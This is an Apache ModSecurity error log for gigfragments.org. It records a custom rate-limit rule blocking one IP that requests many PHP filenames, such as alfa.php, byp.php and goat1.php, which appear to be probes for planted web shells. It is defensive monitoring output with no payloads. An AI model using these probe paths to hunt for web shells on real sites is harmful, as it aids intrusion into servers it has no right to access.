[Mon Dec 08 21:17:46.661783 2025] [:error] [pid 48541:tid 48567] [client 4.190.217.206:11140] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aTbP-gSNhJPArxLCdWH7GwAAARg"]
[Mon Dec 08 21:17:46.902654 2025] [:error] [pid 48541:tid 48560] [client 4.190.217.206:11189] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aTbP-gSNhJPArxLCdWH7HAAAARE"]
[Mon Dec 08 21:17:47.203562 2025] [:error] [pid 48482:tid 48512] [client 4.190.217.206:19838] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aTbP-323gV7gRu3vn82CPQAAAIA"]
[Mon Dec 08 21:17:47.504264 2025] [:error] [pid 50569:tid 50591] [client 4.190.217.206:19774] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aTbP-_HhZxyKreYmWzKs9gAAABM"]
[Mon Dec 08 21:17:47.745104 2025] [:error] [pid 48481:tid 48501] [client 4.190.217.206:19808] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aTbP-ye0pzx5KCi3S0IaXgAAANA"]
[Mon Dec 08 21:17:47.985565 2025] [:error] [pid 50569:tid 50572] [client 4.190.217.206:11234] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aTbP-_HhZxyKreYmWzKs9wAAAAA"]
[Mon Dec 08 21:17:48.226741 2025] [:error] [pid 48541:tid 48554] [client 4.190.217.206:11221] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aTbP_ASNhJPArxLCdWH7HgAAAQs"]
[Mon Dec 08 21:17:48.541124 2025] [:error] [pid 48573:tid 48594] [client 4.190.217.206:11263] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aTbP_FIayuqwlm3CEkaEjgAAAVM"]
[Mon Dec 08 21:17:48.781210 2025] [:error] [pid 48482:tid 48513] [client 4.190.217.206:11251] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTbP_H23gV7gRu3vn82CPwAAAIE"]
[Mon Dec 08 21:17:49.021879 2025] [:error] [pid 48573:tid 48597] [client 4.190.217.206:19764] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTbP_VIayuqwlm3CEkaEkQAAAVY"]
[Mon Dec 08 21:17:49.264694 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:19735] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTbP_fHhZxyKreYmWzKs-gAAAA4"]
[Mon Dec 08 21:17:49.504697 2025] [:error] [pid 48573:tid 48586] [client 4.190.217.206:19725] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aTbP_VIayuqwlm3CEkaEkwAAAUs"]
[Mon Dec 08 21:17:49.745788 2025] [:error] [pid 48482:tid 48515] [client 4.190.217.206:19800] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTbP_X23gV7gRu3vn82CQwAAAIM"]
[Mon Dec 08 21:17:49.986542 2025] [:error] [pid 48573:tid 48593] [client 4.190.217.206:11246] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTbP_VIayuqwlm3CEkaElAAAAVI"]
[Mon Dec 08 21:17:50.226164 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:11218] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTbP_vHhZxyKreYmWzKs_AAAABg"]
[Mon Dec 08 21:17:50.465528 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:11241] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTbP_lIayuqwlm3CEkaElgAAAU4"]
[Mon Dec 08 21:17:50.707912 2025] [:error] [pid 50569:tid 50577] [client 4.190.217.206:11238] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aTbP_vHhZxyKreYmWzKs_QAAAAU"]
[Mon Dec 08 21:17:50.951955 2025] [:error] [pid 48482:tid 48533] [client 4.190.217.206:19729] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aTbP_n23gV7gRu3vn82CRQAAAJU"]
[Mon Dec 08 21:17:51.195495 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11208] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aTbP__HhZxyKreYmWzKs_gAAAAM"]
[Mon Dec 08 21:17:51.496443 2025] [:error] [pid 48573:tid 48575] [client 4.190.217.206:11255] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aTbP_1Iayuqwlm3CEkaEmwAAAUA"]
[Mon Dec 08 21:17:51.736101 2025] [:error] [pid 48573:tid 48578] [client 4.190.217.206:11158] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTbP_1Iayuqwlm3CEkaEnAAAAUM"]
[Mon Dec 08 21:17:51.976792 2025] [:error] [pid 50569:tid 50578] [client 4.190.217.206:11228] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTbP__HhZxyKreYmWzKtAAAAAAY"]
[Mon Dec 08 21:17:52.218457 2025] [:error] [pid 50569:tid 50573] [client 4.190.217.206:11220] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTbQAPHhZxyKreYmWzKtAQAAAAE"]
[Mon Dec 08 21:17:52.460135 2025] [:error] [pid 48573:tid 48582] [client 4.190.217.206:19763] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aTbQAFIayuqwlm3CEkaEnwAAAUc"]
[Mon Dec 08 21:17:52.700323 2025] [:error] [pid 48481:tid 48497] [client 4.190.217.206:19736] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aTbQACe0pzx5KCi3S0IaYQAAAMw"]
[Mon Dec 08 21:17:52.940317 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:19836] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aTbQAFIayuqwlm3CEkaEowAAAVU"]
[Mon Dec 08 21:17:53.180176 2025] [:error] [pid 48541:tid 48566] [client 4.190.217.206:19778] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aTbQAQSNhJPArxLCdWH7IQAAARc"]
[Mon Dec 08 21:17:53.420040 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:11249] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aTbQAVIayuqwlm3CEkaEpAAAAU4"]
[Mon Dec 08 21:17:53.660791 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:11262] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aTbQAX23gV7gRu3vn82CSAAAAII"]
[Mon Dec 08 21:17:53.901707 2025] [:error] [pid 48573:tid 48599] [client 4.190.217.206:11144] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aTbQAVIayuqwlm3CEkaEpQAAAVg"]
[Mon Dec 08 21:17:54.141920 2025] [:error] [pid 48541:tid 48556] [client 4.190.217.206:19741] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aTbQAgSNhJPArxLCdWH7JQAAAQ0"]
[Mon Dec 08 21:17:54.441929 2025] [:error] [pid 48481:tid 48490] [client 4.190.217.206:11141] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aTbQAie0pzx5KCi3S0IaYwAAAMU"]
[Mon Dec 08 21:17:54.692616 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:11210] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aTbQAn23gV7gRu3vn82CSQAAAI4"]
[Mon Dec 08 21:17:54.943892 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:11157] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aTbQAvHhZxyKreYmWzKtAgAAAAs"]
[Mon Dec 08 21:17:55.189758 2025] [:error] [pid 50569:tid 50574] [client 4.190.217.206:11150] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aTbQA_HhZxyKreYmWzKtAwAAAAI"]
[Mon Dec 08 21:17:55.448496 2025] [:error] [pid 48482:tid 48520] [client 4.190.217.206:19723] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aTbQA323gV7gRu3vn82CSgAAAIg"]
[Mon Dec 08 21:17:55.688332 2025] [:error] [pid 48573:tid 48575] [client 4.190.217.206:11244] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aTbQA1Iayuqwlm3CEkaEpgAAAUA"]
[Mon Dec 08 21:17:55.928151 2025] [:error] [pid 50569:tid 50589] [client 4.190.217.206:11168] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aTbQA_HhZxyKreYmWzKtBAAAABE"]
[Mon Dec 08 21:17:56.176859 2025] [:error] [pid 48482:tid 48516] [client 4.190.217.206:11137] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aTbQBH23gV7gRu3vn82CTAAAAIQ"]
[Mon Dec 08 21:17:56.438098 2025] [:error] [pid 48481:tid 48489] [client 4.190.217.206:19818] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aTbQBCe0pzx5KCi3S0IaagAAAMQ"]
[Mon Dec 08 21:17:56.678100 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:19737] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTbQBPHhZxyKreYmWzKtBwAAABg"]
[Mon Dec 08 21:17:56.919512 2025] [:error] [pid 48481:tid 48506] [client 4.190.217.206:11197] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTbQBCe0pzx5KCi3S0IabAAAANU"]
[Mon Dec 08 21:17:57.159838 2025] [:error] [pid 48481:tid 48492] [client 4.190.217.206:11186] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTbQBSe0pzx5KCi3S0IabgAAAMc"]
[Mon Dec 08 21:17:57.403290 2025] [:error] [pid 50569:tid 50594] [client 4.190.217.206:11161] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTbQBfHhZxyKreYmWzKtCQAAABY"]
[Mon Dec 08 21:17:57.649025 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11259] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aTbQBfHhZxyKreYmWzKtCgAAAAM"]
[Mon Dec 08 21:17:57.889923 2025] [:error] [pid 50569:tid 50578] [client 4.190.217.206:11165] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aTbQBfHhZxyKreYmWzKtCwAAAAY"]
[Mon Dec 08 21:17:58.134867 2025] [:error] [pid 48482:tid 48524] [client 4.190.217.206:19721] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aTbQBn23gV7gRu3vn82CTgAAAIw"]
[Mon Dec 08 21:17:58.374871 2025] [:error] [pid 50569:tid 50573] [client 4.190.217.206:11229] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aTbQBvHhZxyKreYmWzKtDQAAAAE"]
[Mon Dec 08 21:17:58.631318 2025] [:error] [pid 50569:tid 50581] [client 4.190.217.206:11087] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aTbQBvHhZxyKreYmWzKtDwAAAAk"]
[Mon Dec 08 21:17:58.871779 2025] [:error] [pid 48541:tid 48547] [client 4.190.217.206:11258] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aTbQBgSNhJPArxLCdWH7KQAAAQQ"]
[Mon Dec 08 21:17:59.114622 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:11257] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aTbQB_HhZxyKreYmWzKtEgAAAAs"]
[Mon Dec 08 21:17:59.356092 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:11077] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aTbQB_HhZxyKreYmWzKtEwAAAAQ"]
[Mon Dec 08 21:17:59.609000 2025] [:error] [pid 50569:tid 50574] [client 4.190.217.206:11236] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTbQB_HhZxyKreYmWzKtFQAAAAI"]
[Mon Dec 08 21:17:59.911259 2025] [:error] [pid 50569:tid 50585] [client 4.190.217.206:11177] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTbQB_HhZxyKreYmWzKtFgAAAA0"]
[Mon Dec 08 21:18:00.152703 2025] [:error] [pid 48482:tid 48525] [client 4.190.217.206:11152] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTbQCH23gV7gRu3vn82CUQAAAI0"]
[Mon Dec 08 21:18:00.394042 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:11181] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aTbQCH23gV7gRu3vn82CUgAAAIc"]
[Mon Dec 08 21:18:00.634819 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:19777] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aTbQCPHhZxyKreYmWzKtGQAAAA8"]
